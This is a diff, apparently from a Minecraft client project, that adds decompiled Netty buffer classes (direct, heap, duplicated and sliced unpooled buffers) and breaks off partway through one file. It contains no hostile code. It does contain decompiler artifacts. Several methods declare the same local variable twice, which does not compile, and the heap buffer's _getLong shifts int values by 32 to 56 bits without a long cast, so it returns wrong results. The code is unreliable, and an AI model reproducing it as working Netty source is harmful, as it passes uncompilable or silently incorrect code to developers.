+  protected ByteBuf newHeapBuffer(int initialCapacity, int maxCapacity)
+  {
+    return new UnpooledHeapByteBuf(this, initialCapacity, maxCapacity);
+  }
+  
+  protected ByteBuf newDirectBuffer(int initialCapacity, int maxCapacity) {
+    ByteBuf buf;
+    ByteBuf buf;
+    if (PlatformDependent.hasUnsafe()) {
+      buf = new UnpooledUnsafeDirectByteBuf(this, initialCapacity, maxCapacity);
+    } else {
+      buf = new UnpooledDirectByteBuf(this, initialCapacity, maxCapacity);
+    }
+    
+    return toLeakAwareBuffer(buf);
+  }
+  
+  public boolean isDirectBufferPooled()
+  {
+    return false;
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/UnpooledDirectByteBuf.java b/src/minecraft/io/netty/buffer/UnpooledDirectByteBuf.java
new file mode 100644
index 0000000..2ef8566
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/UnpooledDirectByteBuf.java
@@ -0,0 +1,604 @@
+package io.netty.buffer;
+
+import io.netty.util.internal.PlatformDependent;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.nio.Buffer;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.channels.ClosedChannelException;
+import java.nio.channels.GatheringByteChannel;
+import java.nio.channels.ScatteringByteChannel;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class UnpooledDirectByteBuf
+  extends AbstractReferenceCountedByteBuf
+{
+  private final ByteBufAllocator alloc;
+  private ByteBuffer buffer;
+  private ByteBuffer tmpNioBuf;
+  private int capacity;
+  private boolean doNotFree;
+  
+  protected UnpooledDirectByteBuf(ByteBufAllocator alloc, int initialCapacity, int maxCapacity)
+  {
+    super(maxCapacity);
+    if (alloc == null) {
+      throw new NullPointerException("alloc");
+    }
+    if (initialCapacity < 0) {
+      throw new IllegalArgumentException("initialCapacity: " + initialCapacity);
+    }
+    if (maxCapacity < 0) {
+      throw new IllegalArgumentException("maxCapacity: " + maxCapacity);
+    }
+    if (initialCapacity > maxCapacity) {
+      throw new IllegalArgumentException(String.format("initialCapacity(%d) > maxCapacity(%d)", new Object[] { Integer.valueOf(initialCapacity), Integer.valueOf(maxCapacity) }));
+    }
+    
+
+    this.alloc = alloc;
+    setByteBuffer(ByteBuffer.allocateDirect(initialCapacity));
+  }
+  
+
+
+
+
+  protected UnpooledDirectByteBuf(ByteBufAllocator alloc, ByteBuffer initialBuffer, int maxCapacity)
+  {
+    super(maxCapacity);
+    if (alloc == null) {
+      throw new NullPointerException("alloc");
+    }
+    if (initialBuffer == null) {
+      throw new NullPointerException("initialBuffer");
+    }
+    if (!initialBuffer.isDirect()) {
+      throw new IllegalArgumentException("initialBuffer is not a direct buffer.");
+    }
+    if (initialBuffer.isReadOnly()) {
+      throw new IllegalArgumentException("initialBuffer is a read-only buffer.");
+    }
+    
+    int initialCapacity = initialBuffer.remaining();
+    if (initialCapacity > maxCapacity) {
+      throw new IllegalArgumentException(String.format("initialCapacity(%d) > maxCapacity(%d)", new Object[] { Integer.valueOf(initialCapacity), Integer.valueOf(maxCapacity) }));
+    }
+    
+
+    this.alloc = alloc;
+    doNotFree = true;
+    setByteBuffer(initialBuffer.slice().order(ByteOrder.BIG_ENDIAN));
+    writerIndex(initialCapacity);
+  }
+  
+
+
+  protected ByteBuffer allocateDirect(int initialCapacity)
+  {
+    return ByteBuffer.allocateDirect(initialCapacity);
+  }
+  
+
+
+  protected void freeDirect(ByteBuffer buffer)
+  {
+    PlatformDependent.freeDirectBuffer(buffer);
+  }
+  
+  private void setByteBuffer(ByteBuffer buffer) {
+    ByteBuffer oldBuffer = this.buffer;
+    if (oldBuffer != null) {
+      if (doNotFree) {
+        doNotFree = false;
+      } else {
+        freeDirect(oldBuffer);
+      }
+    }
+    
+    this.buffer = buffer;
+    tmpNioBuf = null;
+    capacity = buffer.remaining();
+  }
+  
+  public boolean isDirect()
+  {
+    return true;
+  }
+  
+  public int capacity()
+  {
+    return capacity;
+  }
+  
+  public ByteBuf capacity(int newCapacity)
+  {
+    ensureAccessible();
+    if ((newCapacity < 0) || (newCapacity > maxCapacity())) {
+      throw new IllegalArgumentException("newCapacity: " + newCapacity);
+    }
+    
+    int readerIndex = readerIndex();
+    int writerIndex = writerIndex();
+    
+    int oldCapacity = capacity;
+    if (newCapacity > oldCapacity) {
+      ByteBuffer oldBuffer = buffer;
+      ByteBuffer newBuffer = allocateDirect(newCapacity);
+      oldBuffer.position(0).limit(oldBuffer.capacity());
+      newBuffer.position(0).limit(oldBuffer.capacity());
+      newBuffer.put(oldBuffer);
+      newBuffer.clear();
+      setByteBuffer(newBuffer);
+    } else if (newCapacity < oldCapacity) {
+      ByteBuffer oldBuffer = buffer;
+      ByteBuffer newBuffer = allocateDirect(newCapacity);
+      if (readerIndex < newCapacity) {
+        if (writerIndex > newCapacity) {
+          writerIndex(writerIndex = newCapacity);
+        }
+        oldBuffer.position(readerIndex).limit(writerIndex);
+        newBuffer.position(readerIndex).limit(writerIndex);
+        newBuffer.put(oldBuffer);
+        newBuffer.clear();
+      } else {
+        setIndex(newCapacity, newCapacity);
+      }
+      setByteBuffer(newBuffer);
+    }
+    return this;
+  }
+  
+  public ByteBufAllocator alloc()
+  {
+    return alloc;
+  }
+  
+  public ByteOrder order()
+  {
+    return ByteOrder.BIG_ENDIAN;
+  }
+  
+  public boolean hasArray()
+  {
+    return false;
+  }
+  
+  public byte[] array()
+  {
+    throw new UnsupportedOperationException("direct buffer");
+  }
+  
+  public int arrayOffset()
+  {
+    throw new UnsupportedOperationException("direct buffer");
+  }
+  
+  public boolean hasMemoryAddress()
+  {
+    return false;
+  }
+  
+  public long memoryAddress()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public byte getByte(int index)
+  {
+    ensureAccessible();
+    return _getByte(index);
+  }
+  
+  protected byte _getByte(int index)
+  {
+    return buffer.get(index);
+  }
+  
+  public short getShort(int index)
+  {
+    ensureAccessible();
+    return _getShort(index);
+  }
+  
+  protected short _getShort(int index)
+  {
+    return buffer.getShort(index);
+  }
+  
+  public int getUnsignedMedium(int index)
+  {
+    ensureAccessible();
+    return _getUnsignedMedium(index);
+  }
+  
+  protected int _getUnsignedMedium(int index)
+  {
+    return (getByte(index) & 0xFF) << 16 | (getByte(index + 1) & 0xFF) << 8 | getByte(index + 2) & 0xFF;
+  }
+  
+  public int getInt(int index)
+  {
+    ensureAccessible();
+    return _getInt(index);
+  }
+  
+  protected int _getInt(int index)
+  {
+    return buffer.getInt(index);
+  }
+  
+  public long getLong(int index)
+  {
+    ensureAccessible();
+    return _getLong(index);
+  }
+  
+  protected long _getLong(int index)
+  {
+    return buffer.getLong(index);
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuf dst, int dstIndex, int length)
+  {
+    checkDstIndex(index, length, dstIndex, dst.capacity());
+    if (dst.hasArray()) {
+      getBytes(index, dst.array(), dst.arrayOffset() + dstIndex, length);
+    } else if (dst.nioBufferCount() > 0) {
+      for (ByteBuffer bb : dst.nioBuffers(dstIndex, length)) {
+        int bbLen = bb.remaining();
+        getBytes(index, bb);
+        index += bbLen;
+      }
+    } else {
+      dst.setBytes(dstIndex, this, index, length);
+    }
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, byte[] dst, int dstIndex, int length)
+  {
+    getBytes(index, dst, dstIndex, length, false);
+    return this;
+  }
+  
+  private void getBytes(int index, byte[] dst, int dstIndex, int length, boolean internal) {
+    checkDstIndex(index, length, dstIndex, dst.length);
+    
+    if ((dstIndex < 0) || (dstIndex > dst.length - length)) {
+      throw new IndexOutOfBoundsException(String.format("dstIndex: %d, length: %d (expected: range(0, %d))", new Object[] { Integer.valueOf(dstIndex), Integer.valueOf(length), Integer.valueOf(dst.length) }));
+    }
+    
+    ByteBuffer tmpBuf;
+    ByteBuffer tmpBuf;
+    if (internal) {
+      tmpBuf = internalNioBuffer();
+    } else {
+      tmpBuf = buffer.duplicate();
+    }
+    tmpBuf.clear().position(index).limit(index + length);
+    tmpBuf.get(dst, dstIndex, length);
+  }
+  
+  public ByteBuf readBytes(byte[] dst, int dstIndex, int length)
+  {
+    checkReadableBytes(length);
+    getBytes(readerIndex, dst, dstIndex, length, true);
+    readerIndex += length;
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuffer dst)
+  {
+    getBytes(index, dst, false);
+    return this;
+  }
+  
+  private void getBytes(int index, ByteBuffer dst, boolean internal) {
+    checkIndex(index);
+    if (dst == null) {
+      throw new NullPointerException("dst");
+    }
+    
+    int bytesToCopy = Math.min(capacity() - index, dst.remaining());
+    ByteBuffer tmpBuf;
+    ByteBuffer tmpBuf; if (internal) {
+      tmpBuf = internalNioBuffer();
+    } else {
+      tmpBuf = buffer.duplicate();
+    }
+    tmpBuf.clear().position(index).limit(index + bytesToCopy);
+    dst.put(tmpBuf);
+  }
+  
+  public ByteBuf readBytes(ByteBuffer dst)
+  {
+    int length = dst.remaining();
+    checkReadableBytes(length);
+    getBytes(readerIndex, dst, true);
+    readerIndex += length;
+    return this;
+  }
+  
+  public ByteBuf setByte(int index, int value)
+  {
+    ensureAccessible();
+    _setByte(index, value);
+    return this;
+  }
+  
+  protected void _setByte(int index, int value)
+  {
+    buffer.put(index, (byte)value);
+  }
+  
+  public ByteBuf setShort(int index, int value)
+  {
+    ensureAccessible();
+    _setShort(index, value);
+    return this;
+  }
+  
+  protected void _setShort(int index, int value)
+  {
+    buffer.putShort(index, (short)value);
+  }
+  
+  public ByteBuf setMedium(int index, int value)
+  {
+    ensureAccessible();
+    _setMedium(index, value);
+    return this;
+  }
+  
+  protected void _setMedium(int index, int value)
+  {
+    setByte(index, (byte)(value >>> 16));
+    setByte(index + 1, (byte)(value >>> 8));
+    setByte(index + 2, (byte)value);
+  }
+  
+  public ByteBuf setInt(int index, int value)
+  {
+    ensureAccessible();
+    _setInt(index, value);
+    return this;
+  }
+  
+  protected void _setInt(int index, int value)
+  {
+    buffer.putInt(index, value);
+  }
+  
+  public ByteBuf setLong(int index, long value)
+  {
+    ensureAccessible();
+    _setLong(index, value);
+    return this;
+  }
+  
+  protected void _setLong(int index, long value)
+  {
+    buffer.putLong(index, value);
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuf src, int srcIndex, int length)
+  {
+    checkSrcIndex(index, length, srcIndex, src.capacity());
+    if (src.nioBufferCount() > 0) {
+      for (ByteBuffer bb : src.nioBuffers(srcIndex, length)) {
+        int bbLen = bb.remaining();
+        setBytes(index, bb);
+        index += bbLen;
+      }
+    } else {
+      src.getBytes(srcIndex, this, index, length);
+    }
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, byte[] src, int srcIndex, int length)
+  {
+    checkSrcIndex(index, length, srcIndex, src.length);
+    ByteBuffer tmpBuf = internalNioBuffer();
+    tmpBuf.clear().position(index).limit(index + length);
+    tmpBuf.put(src, srcIndex, length);
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuffer src)
+  {
+    ensureAccessible();
+    ByteBuffer tmpBuf = internalNioBuffer();
+    if (src == tmpBuf) {
+      src = src.duplicate();
+    }
+    
+    tmpBuf.clear().position(index).limit(index + src.remaining());
+    tmpBuf.put(src);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, OutputStream out, int length) throws IOException
+  {
+    getBytes(index, out, length, false);
+    return this;
+  }
+  
+  private void getBytes(int index, OutputStream out, int length, boolean internal) throws IOException {
+    ensureAccessible();
+    if (length == 0) {
+      return;
+    }
+    
+    if (buffer.hasArray()) {
+      out.write(buffer.array(), index + buffer.arrayOffset(), length);
+    } else {
+      byte[] tmp = new byte[length];
+      ByteBuffer tmpBuf;
+      ByteBuffer tmpBuf; if (internal) {
+        tmpBuf = internalNioBuffer();
+      } else {
+        tmpBuf = buffer.duplicate();
+      }
+      tmpBuf.clear().position(index);
+      tmpBuf.get(tmp);
+      out.write(tmp);
+    }
+  }
+  
+  public ByteBuf readBytes(OutputStream out, int length) throws IOException
+  {
+    checkReadableBytes(length);
+    getBytes(readerIndex, out, length, true);
+    readerIndex += length;
+    return this;
+  }
+  
+  public int getBytes(int index, GatheringByteChannel out, int length) throws IOException
+  {
+    return getBytes(index, out, length, false);
+  }
+  
+  private int getBytes(int index, GatheringByteChannel out, int length, boolean internal) throws IOException {
+    ensureAccessible();
+    if (length == 0) {
+      return 0;
+    }
+    ByteBuffer tmpBuf;
+    ByteBuffer tmpBuf;
+    if (internal) {
+      tmpBuf = internalNioBuffer();
+    } else {
+      tmpBuf = buffer.duplicate();
+    }
+    tmpBuf.clear().position(index).limit(index + length);
+    return out.write(tmpBuf);
+  }
+  
+  public int readBytes(GatheringByteChannel out, int length) throws IOException
+  {
+    checkReadableBytes(length);
+    int readBytes = getBytes(readerIndex, out, length, true);
+    readerIndex += readBytes;
+    return readBytes;
+  }
+  
+  public int setBytes(int index, InputStream in, int length) throws IOException
+  {
+    ensureAccessible();
+    if (buffer.hasArray()) {
+      return in.read(buffer.array(), buffer.arrayOffset() + index, length);
+    }
+    byte[] tmp = new byte[length];
+    int readBytes = in.read(tmp);
+    if (readBytes <= 0) {
+      return readBytes;
+    }
+    ByteBuffer tmpBuf = internalNioBuffer();
+    tmpBuf.clear().position(index);
+    tmpBuf.put(tmp, 0, readBytes);
+    return readBytes;
+  }
+  
+  public int setBytes(int index, ScatteringByteChannel in, int length)
+    throws IOException
+  {
+    ensureAccessible();
+    ByteBuffer tmpBuf = internalNioBuffer();
+    tmpBuf.clear().position(index).limit(index + length);
+    try {
+      return in.read(tmpNioBuf);
+    } catch (ClosedChannelException ignored) {}
+    return -1;
+  }
+  
+
+  public int nioBufferCount()
+  {
+    return 1;
+  }
+  
+  public ByteBuffer[] nioBuffers(int index, int length)
+  {
+    return new ByteBuffer[] { nioBuffer(index, length) };
+  }
+  
+  public ByteBuf copy(int index, int length)
+  {
+    ensureAccessible();
+    ByteBuffer src;
+    try {
+      src = (ByteBuffer)buffer.duplicate().clear().position(index).limit(index + length);
+    } catch (IllegalArgumentException ignored) {
+      throw new IndexOutOfBoundsException("Too many bytes to read - Need " + (index + length));
+    }
+    
+    return alloc().directBuffer(length, maxCapacity()).writeBytes(src);
+  }
+  
+  public ByteBuffer internalNioBuffer(int index, int length)
+  {
+    checkIndex(index, length);
+    return (ByteBuffer)internalNioBuffer().clear().position(index).limit(index + length);
+  }
+  
+  private ByteBuffer internalNioBuffer() {
+    ByteBuffer tmpNioBuf = this.tmpNioBuf;
+    if (tmpNioBuf == null) {
+      this.tmpNioBuf = (tmpNioBuf = buffer.duplicate());
+    }
+    return tmpNioBuf;
+  }
+  
+  public ByteBuffer nioBuffer(int index, int length)
+  {
+    checkIndex(index, length);
+    return ((ByteBuffer)buffer.duplicate().position(index).limit(index + length)).slice();
+  }
+  
+  protected void deallocate()
+  {
+    ByteBuffer buffer = this.buffer;
+    if (buffer == null) {
+      return;
+    }
+    
+    this.buffer = null;
+    
+    if (!doNotFree) {
+      freeDirect(buffer);
+    }
+  }
+  
+  public ByteBuf unwrap()
+  {
+    return null;
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/UnpooledDuplicatedByteBuf.java b/src/minecraft/io/netty/buffer/UnpooledDuplicatedByteBuf.java
new file mode 100644
index 0000000..15b6554
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/UnpooledDuplicatedByteBuf.java
@@ -0,0 +1,121 @@
+package io.netty.buffer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class UnpooledDuplicatedByteBuf
+  extends DuplicatedByteBuf
+{
+  UnpooledDuplicatedByteBuf(AbstractByteBuf buffer)
+  {
+    super(buffer);
+  }
+  
+  public AbstractByteBuf unwrap()
+  {
+    return (AbstractByteBuf)super.unwrap();
+  }
+  
+  protected byte _getByte(int index)
+  {
+    return unwrap()._getByte(index);
+  }
+  
+  protected short _getShort(int index)
+  {
+    return unwrap()._getShort(index);
+  }
+  
+  protected short _getShortLE(int index)
+  {
+    return unwrap()._getShortLE(index);
+  }
+  
+  protected int _getUnsignedMedium(int index)
+  {
+    return unwrap()._getUnsignedMedium(index);
+  }
+  
+  protected int _getUnsignedMediumLE(int index)
+  {
+    return unwrap()._getUnsignedMediumLE(index);
+  }
+  
+  protected int _getInt(int index)
+  {
+    return unwrap()._getInt(index);
+  }
+  
+  protected int _getIntLE(int index)
+  {
+    return unwrap()._getIntLE(index);
+  }
+  
+  protected long _getLong(int index)
+  {
+    return unwrap()._getLong(index);
+  }
+  
+  protected long _getLongLE(int index)
+  {
+    return unwrap()._getLongLE(index);
+  }
+  
+  protected void _setByte(int index, int value)
+  {
+    unwrap()._setByte(index, value);
+  }
+  
+  protected void _setShort(int index, int value)
+  {
+    unwrap()._setShort(index, value);
+  }
+  
+  protected void _setShortLE(int index, int value)
+  {
+    unwrap()._setShortLE(index, value);
+  }
+  
+  protected void _setMedium(int index, int value)
+  {
+    unwrap()._setMedium(index, value);
+  }
+  
+  protected void _setMediumLE(int index, int value)
+  {
+    unwrap()._setMediumLE(index, value);
+  }
+  
+  protected void _setInt(int index, int value)
+  {
+    unwrap()._setInt(index, value);
+  }
+  
+  protected void _setIntLE(int index, int value)
+  {
+    unwrap()._setIntLE(index, value);
+  }
+  
+  protected void _setLong(int index, long value)
+  {
+    unwrap()._setLong(index, value);
+  }
+  
+  protected void _setLongLE(int index, long value)
+  {
+    unwrap()._setLongLE(index, value);
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/UnpooledHeapByteBuf.java b/src/minecraft/io/netty/buffer/UnpooledHeapByteBuf.java
new file mode 100644
index 0000000..358468c
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/UnpooledHeapByteBuf.java
@@ -0,0 +1,449 @@
+package io.netty.buffer;
+
+import io.netty.util.internal.PlatformDependent;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.nio.Buffer;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.channels.ClosedChannelException;
+import java.nio.channels.GatheringByteChannel;
+import java.nio.channels.ScatteringByteChannel;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class UnpooledHeapByteBuf
+  extends AbstractReferenceCountedByteBuf
+{
+  private final ByteBufAllocator alloc;
+  private byte[] array;
+  private ByteBuffer tmpNioBuf;
+  
+  protected UnpooledHeapByteBuf(ByteBufAllocator alloc, int initialCapacity, int maxCapacity)
+  {
+    this(alloc, new byte[initialCapacity], 0, 0, maxCapacity);
+  }
+  
+
+
+
+
+
+  protected UnpooledHeapByteBuf(ByteBufAllocator alloc, byte[] initialArray, int maxCapacity)
+  {
+    this(alloc, initialArray, 0, initialArray.length, maxCapacity);
+  }
+  
+
+  private UnpooledHeapByteBuf(ByteBufAllocator alloc, byte[] initialArray, int readerIndex, int writerIndex, int maxCapacity)
+  {
+    super(maxCapacity);
+    
+    if (alloc == null) {
+      throw new NullPointerException("alloc");
+    }
+    if (initialArray == null) {
+      throw new NullPointerException("initialArray");
+    }
+    if (initialArray.length > maxCapacity) {
+      throw new IllegalArgumentException(String.format("initialCapacity(%d) > maxCapacity(%d)", new Object[] { Integer.valueOf(initialArray.length), Integer.valueOf(maxCapacity) }));
+    }
+    
+
+    this.alloc = alloc;
+    setArray(initialArray);
+    setIndex(readerIndex, writerIndex);
+  }
+  
+  private void setArray(byte[] initialArray) {
+    array = initialArray;
+    tmpNioBuf = null;
+  }
+  
+  public ByteBufAllocator alloc()
+  {
+    return alloc;
+  }
+  
+  public ByteOrder order()
+  {
+    return ByteOrder.BIG_ENDIAN;
+  }
+  
+  public boolean isDirect()
+  {
+    return false;
+  }
+  
+  public int capacity()
+  {
+    ensureAccessible();
+    return array.length;
+  }
+  
+  public ByteBuf capacity(int newCapacity)
+  {
+    ensureAccessible();
+    if ((newCapacity < 0) || (newCapacity > maxCapacity())) {
+      throw new IllegalArgumentException("newCapacity: " + newCapacity);
+    }
+    
+    int oldCapacity = array.length;
+    if (newCapacity > oldCapacity) {
+      byte[] newArray = new byte[newCapacity];
+      System.arraycopy(array, 0, newArray, 0, array.length);
+      setArray(newArray);
+    } else if (newCapacity < oldCapacity) {
+      byte[] newArray = new byte[newCapacity];
+      int readerIndex = readerIndex();
+      if (readerIndex < newCapacity) {
+        int writerIndex = writerIndex();
+        if (writerIndex > newCapacity) {
+          writerIndex(writerIndex = newCapacity);
+        }
+        System.arraycopy(array, readerIndex, newArray, readerIndex, writerIndex - readerIndex);
+      } else {
+        setIndex(newCapacity, newCapacity);
+      }
+      setArray(newArray);
+    }
+    return this;
+  }
+  
+  public boolean hasArray()
+  {
+    return true;
+  }
+  
+  public byte[] array()
+  {
+    ensureAccessible();
+    return array;
+  }
+  
+  public int arrayOffset()
+  {
+    return 0;
+  }
+  
+  public boolean hasMemoryAddress()
+  {
+    return false;
+  }
+  
+  public long memoryAddress()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuf dst, int dstIndex, int length)
+  {
+    checkDstIndex(index, length, dstIndex, dst.capacity());
+    if (dst.hasMemoryAddress()) {
+      PlatformDependent.copyMemory(array, index, dst.memoryAddress() + dstIndex, length);
+    } else if (dst.hasArray()) {
+      getBytes(index, dst.array(), dst.arrayOffset() + dstIndex, length);
+    } else {
+      dst.setBytes(dstIndex, array, index, length);
+    }
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, byte[] dst, int dstIndex, int length)
+  {
+    checkDstIndex(index, length, dstIndex, dst.length);
+    System.arraycopy(array, index, dst, dstIndex, length);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuffer dst)
+  {
+    ensureAccessible();
+    dst.put(array, index, Math.min(capacity() - index, dst.remaining()));
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, OutputStream out, int length) throws IOException
+  {
+    ensureAccessible();
+    out.write(array, index, length);
+    return this;
+  }
+  
+  public int getBytes(int index, GatheringByteChannel out, int length) throws IOException
+  {
+    ensureAccessible();
+    return getBytes(index, out, length, false);
+  }
+  
+  private int getBytes(int index, GatheringByteChannel out, int length, boolean internal) throws IOException {
+    ensureAccessible();
+    ByteBuffer tmpBuf;
+    ByteBuffer tmpBuf; if (internal) {
+      tmpBuf = internalNioBuffer();
+    } else {
+      tmpBuf = ByteBuffer.wrap(array);
+    }
+    return out.write((ByteBuffer)tmpBuf.clear().position(index).limit(index + length));
+  }
+  
+  public int readBytes(GatheringByteChannel out, int length) throws IOException
+  {
+    checkReadableBytes(length);
+    int readBytes = getBytes(readerIndex, out, length, true);
+    readerIndex += readBytes;
+    return readBytes;
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuf src, int srcIndex, int length)
+  {
+    checkSrcIndex(index, length, srcIndex, src.capacity());
+    if (src.hasMemoryAddress()) {
+      PlatformDependent.copyMemory(src.memoryAddress() + srcIndex, array, index, length);
+    } else if (src.hasArray()) {
+      setBytes(index, src.array(), src.arrayOffset() + srcIndex, length);
+    } else {
+      src.getBytes(srcIndex, array, index, length);
+    }
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, byte[] src, int srcIndex, int length)
+  {
+    checkSrcIndex(index, length, srcIndex, src.length);
+    System.arraycopy(src, srcIndex, array, index, length);
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuffer src)
+  {
+    ensureAccessible();
+    src.get(array, index, src.remaining());
+    return this;
+  }
+  
+  public int setBytes(int index, InputStream in, int length) throws IOException
+  {
+    ensureAccessible();
+    return in.read(array, index, length);
+  }
+  
+  public int setBytes(int index, ScatteringByteChannel in, int length) throws IOException
+  {
+    ensureAccessible();
+    try {
+      return in.read((ByteBuffer)internalNioBuffer().clear().position(index).limit(index + length));
+    } catch (ClosedChannelException ignored) {}
+    return -1;
+  }
+  
+
+  public int nioBufferCount()
+  {
+    return 1;
+  }
+  
+  public ByteBuffer nioBuffer(int index, int length)
+  {
+    ensureAccessible();
+    return ByteBuffer.wrap(array, index, length).slice();
+  }
+  
+  public ByteBuffer[] nioBuffers(int index, int length)
+  {
+    return new ByteBuffer[] { nioBuffer(index, length) };
+  }
+  
+  public ByteBuffer internalNioBuffer(int index, int length)
+  {
+    checkIndex(index, length);
+    return (ByteBuffer)internalNioBuffer().clear().position(index).limit(index + length);
+  }
+  
+  public byte getByte(int index)
+  {
+    ensureAccessible();
+    return _getByte(index);
+  }
+  
+  protected byte _getByte(int index)
+  {
+    return array[index];
+  }
+  
+  public short getShort(int index)
+  {
+    ensureAccessible();
+    return _getShort(index);
+  }
+  
+  protected short _getShort(int index)
+  {
+    return (short)(array[index] << 8 | array[(index + 1)] & 0xFF);
+  }
+  
+  public int getUnsignedMedium(int index)
+  {
+    ensureAccessible();
+    return _getUnsignedMedium(index);
+  }
+  
+  protected int _getUnsignedMedium(int index)
+  {
+    return (array[index] & 0xFF) << 16 | (array[(index + 1)] & 0xFF) << 8 | array[(index + 2)] & 0xFF;
+  }
+  
+
+
+  public int getInt(int index)
+  {
+    ensureAccessible();
+    return _getInt(index);
+  }
+  
+  protected int _getInt(int index)
+  {
+    return (array[index] & 0xFF) << 24 | (array[(index + 1)] & 0xFF) << 16 | (array[(index + 2)] & 0xFF) << 8 | array[(index + 3)] & 0xFF;
+  }
+  
+
+
+
+  public long getLong(int index)
+  {
+    ensureAccessible();
+    return _getLong(index);
+  }
+  
+  protected long _getLong(int index)
+  {
+    return (array[index] & 0xFF) << 56 | (array[(index + 1)] & 0xFF) << 48 | (array[(index + 2)] & 0xFF) << 40 | (array[(index + 3)] & 0xFF) << 32 | (array[(index + 4)] & 0xFF) << 24 | (array[(index + 5)] & 0xFF) << 16 | (array[(index + 6)] & 0xFF) << 8 | array[(index + 7)] & 0xFF;
+  }
+  
+
+
+
+
+
+
+
+  public ByteBuf setByte(int index, int value)
+  {
+    ensureAccessible();
+    _setByte(index, value);
+    return this;
+  }
+  
+  protected void _setByte(int index, int value)
+  {
+    array[index] = ((byte)value);
+  }
+  
+  public ByteBuf setShort(int index, int value)
+  {
+    ensureAccessible();
+    _setShort(index, value);
+    return this;
+  }
+  
+  protected void _setShort(int index, int value)
+  {
+    array[index] = ((byte)(value >>> 8));
+    array[(index + 1)] = ((byte)value);
+  }
+  
+  public ByteBuf setMedium(int index, int value)
+  {
+    ensureAccessible();
+    _setMedium(index, value);
+    return this;
+  }
+  
+  protected void _setMedium(int index, int value)
+  {
+    array[index] = ((byte)(value >>> 16));
+    array[(index + 1)] = ((byte)(value >>> 8));
+    array[(index + 2)] = ((byte)value);
+  }
+  
+  public ByteBuf setInt(int index, int value)
+  {
+    ensureAccessible();
+    _setInt(index, value);
+    return this;
+  }
+  
+  protected void _setInt(int index, int value)
+  {
+    array[index] = ((byte)(value >>> 24));
+    array[(index + 1)] = ((byte)(value >>> 16));
+    array[(index + 2)] = ((byte)(value >>> 8));
+    array[(index + 3)] = ((byte)value);
+  }
+  
+  public ByteBuf setLong(int index, long value)
+  {
+    ensureAccessible();
+    _setLong(index, value);
+    return this;
+  }
+  
+  protected void _setLong(int index, long value)
+  {
+    array[index] = ((byte)(int)(value >>> 56));
+    array[(index + 1)] = ((byte)(int)(value >>> 48));
+    array[(index + 2)] = ((byte)(int)(value >>> 40));
+    array[(index + 3)] = ((byte)(int)(value >>> 32));
+    array[(index + 4)] = ((byte)(int)(value >>> 24));
+    array[(index + 5)] = ((byte)(int)(value >>> 16));
+    array[(index + 6)] = ((byte)(int)(value >>> 8));
+    array[(index + 7)] = ((byte)(int)value);
+  }
+  
+  public ByteBuf copy(int index, int length)
+  {
+    checkIndex(index, length);
+    byte[] copiedArray = new byte[length];
+    System.arraycopy(array, index, copiedArray, 0, length);
+    return new UnpooledHeapByteBuf(alloc(), copiedArray, maxCapacity());
+  }
+  
+  private ByteBuffer internalNioBuffer() {
+    ByteBuffer tmpNioBuf = this.tmpNioBuf;
+    if (tmpNioBuf == null) {
+      this.tmpNioBuf = (tmpNioBuf = ByteBuffer.wrap(array));
+    }
+    return tmpNioBuf;
+  }
+  
+  protected void deallocate()
+  {
+    array = null;
+  }
+  
+  public ByteBuf unwrap()
+  {
+    return null;
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/UnpooledSlicedByteBuf.java b/src/minecraft/io/netty/buffer/UnpooledSlicedByteBuf.java
new file mode 100644
index 0000000..2e8f7f1
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/UnpooledSlicedByteBuf.java
@@ -0,0 +1,127 @@
+package io.netty.buffer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class UnpooledSlicedByteBuf
+  extends AbstractUnpooledSlicedByteBuf
+{
+  UnpooledSlicedByteBuf(AbstractByteBuf buffer, int index, int length)
+  {
+    super(buffer, index, length);
+  }
+  
+  public int capacity()
+  {
+    return maxCapacity();
+  }
+  
+  public AbstractByteBuf unwrap()
+  {
+    return (AbstractByteBuf)super.unwrap();
+  }
+  
+  protected byte _getByte(int index)
+  {
+    return unwrap()._getByte(idx(index));
+  }
+  
+  protected short _getShort(int index)
+  {
+    return unwrap()._getShort(idx(index));
+  }
+  
+  protected short _getShortLE(int index)
+  {
+    return unwrap()._getShortLE(idx(index));
+  }
+  
+  protected int _getUnsignedMedium(int index)
+  {
+    return unwrap()._getUnsignedMedium(idx(index));
+  }
+  
+  protected int _getUnsignedMediumLE(int index)
+  {
+    return unwrap()._getUnsignedMediumLE(idx(index));
+  }
+  
+  protected int _getInt(int index)
+  {
+    return unwrap()._getInt(idx(index));
+  }
+  
+  protected int _getIntLE(int index)
+  {
+    return unwrap()._getIntLE(idx(index));
+  }
+  
+  protected long _getLong(int index)
+  {
+    return unwrap()._getLong(idx(index));
+  }
+  
+  protected long _getLongLE(int index)
+  {
